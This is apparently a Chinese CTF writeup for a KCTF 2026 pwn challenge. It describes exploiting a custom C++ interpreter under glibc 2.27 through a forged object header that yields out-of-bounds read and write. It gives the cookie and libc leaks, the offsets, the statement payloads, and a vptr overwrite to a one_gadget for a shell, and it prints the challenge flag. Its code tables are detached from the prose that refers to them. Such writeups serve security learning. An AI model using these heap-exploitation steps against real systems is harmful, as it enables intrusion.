-
-
[原创]看雪·2026 KCTF 第十题 Writeup
-
发表于: 2026-8-24 09:47 171
-
题目名称: 卯时·曦光初现
题目类型: Pwn
出题战队: 送分童子
附件: pwn(64 位 PIE、stripped)、libc-2.27.so(Ubuntu GLIBC 2.27-3ubuntu1.6)
Flag: flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115}
程序是 C++ 写成的自定义解释器,stripped,无后门函数,需要泄漏 libc 后劫持控制流。配套 libc 为 2.27,存在 __malloc_hook / __free_hook 以及可用的 one_gadget。
本地用 patchelf 把解释器、libc、ld、旧版 libstdc++/libgcc 对齐到 2.27 后再调试,远程靶机环境与之一致。
main 循环:
全局环境 env 是 BSS 上 256 个 uint64 槽位。另有一块 64KB bump 堆(operator new[](0x10000)),以及从 /dev/urandom 读出的 8 字节 cookie。程序字符串里写着 garbage collection has not been implemented yet,对象只增不回收。
RTTI 能看到解释器类型:
所有语句必须以 $ + 十进制槽号开头,不能有空格。合法语句只有四类:
数字字面量经 Number::to_heap 会 & 0xFFFFFFFFFFFF 截成 48 位;但 BinOp 按完整 64 位运算,因此可以用乘法构造高 16 位标签:
数字字段序列化为 cookie ^ (value & 0xFFFFFFFFFFFF)。GetField 读出时再异或 cookie,因此:
BinOp 两边只要带 0x1337 标签就会失败,所以对象指针不能直接做加减;泄漏到的未加标签地址可以。
GetField / SetField 走路径时调用 1EDA(obj, index):
用户侧检查是 index >= len 则失败,所以合法字段下标是 0 .. len-1。
但是: 如果某个数字字段被写成 0xBEEF<<48 | huge_len,遍历会把它当成内嵌对象,后续下标就可以走出当前对象,进入 64KB bump 堆后面的 glibc 堆。
SetField 写入公式:
源值只要不是 0x1337 标签即可。因此可以主动把某个字段写成伪造的 BEEF 头。
伪造对象头 + 任意相对读写。
下标与偏移关系(伪造头在 custom+8,1EDA 从 custom+16 起跳):
64KB 未使用区域是 0。0 ^ cookie = cookie,且 cookie 高 16 位几乎不可能是 0xBEEF,所以读零页就能稳定漏 cookie。
在 Ubuntu 18.04 / glibc 2.27 上,new[](0x10000) 之后的堆布局稳定:
关键泄漏点:
计算:
one_gadget(libc+0x4f302):
约束 [rsp+0x40] == NULL。从 main 调 AST 析构时栈上刚好满足。
Full RELRO 不能改 GOT。做法是 在 SetField 求值期间改写它自己的 vptr,返回 main 后 call [vptr+0x10] 进 one_gadget。
小下标种 vtable 只走过 bump 堆里的 0,不会撞到 glibc 堆上「异或后像 BEEF」的指针;最后一次大下标行走路径上也基本是 0 和少量元数据,远程实测一次成功。
完整脚本见同目录 exp.py。核心语句序列:
之后向连接写入 cat flag 即可。
本地(2.27 补丁后的 pwn_patched)和远程靶机同一条链均可稳定 getshell。
| 形式 | 含义 |
|---|---|
$N=123 / $N=[1,2,[3]] |
把数字或嵌套数组赋给槽 N(AssignLit) |
$A=$B / $A=$B[i][j]... |
拷贝,或按路径取字段(GetField) |
$A[i][j]...=$B |
按路径写字段(SetField),源值不能是对象 |
$A op $B |
二元运算,结果写回 $A(+ - * / % ^ | &) |
| 编码 | 含义 |
|---|---|
ptr | 0x1337000000000000 |
槽位里的对象指针(指向 bump 堆) |
cookie ^ (0xBEEF000000000000 | len) |
堆上对象头,len 为子节点个数 |
| 偏移 | k | 内容 |
|---|---|---|
+0x08 起的零页 |
8 | cookie |
+0x10018 |
8193 | tcache 地址 |
+0x10078 |
8205 | _IO_2_1_stderr_ = libc+0x3ec680 |
Arch: amd64
PIE: 开启
Canary: 开启
NX: 开启
RELRO: Full RELRO
$10=16777216 # 2^24
$11=16777216
$10*$11 # $10 = 2^48
$12=48879 # 0xBEEF
$12*$10 # $12 = 0xBEEF << 48
*slot = cookie ^ src
$0=[0,0,0,0] # 真实对象,len=4,落在 bump 堆起始
$12 = (0xBEEF<<48)|20000
$0[0]=$12 # 字段 0 变成伪造子对象
$x=$0[0][k] # 从伪造头往后走 k 步,OOB 读
$0[0][k]=$y # OOB 写(写入 cookie^y)
addr = custom + 16 + 8*k
k = (offset - 16) / 8
[tcache_perthread] ← heap_start + 0x10
[iostream 小块]
[64KB bump 堆] ← custom,相对 tcache 偏移 0x11e60
[0x230 in-use 块] ← 内含 libc 指针
[0x20 tcache ...]
[SetField AST 0x30] ← 固定落在 custom+0x10340
cookie = $0[0][8]
stderr = $0[0][8205] ^ cookie
libc = stderr - 0x3ec680
tcache = $0[0][8193] ^ cookie
custom = tcache + 0x11e60
gadget = libc + 0x4f302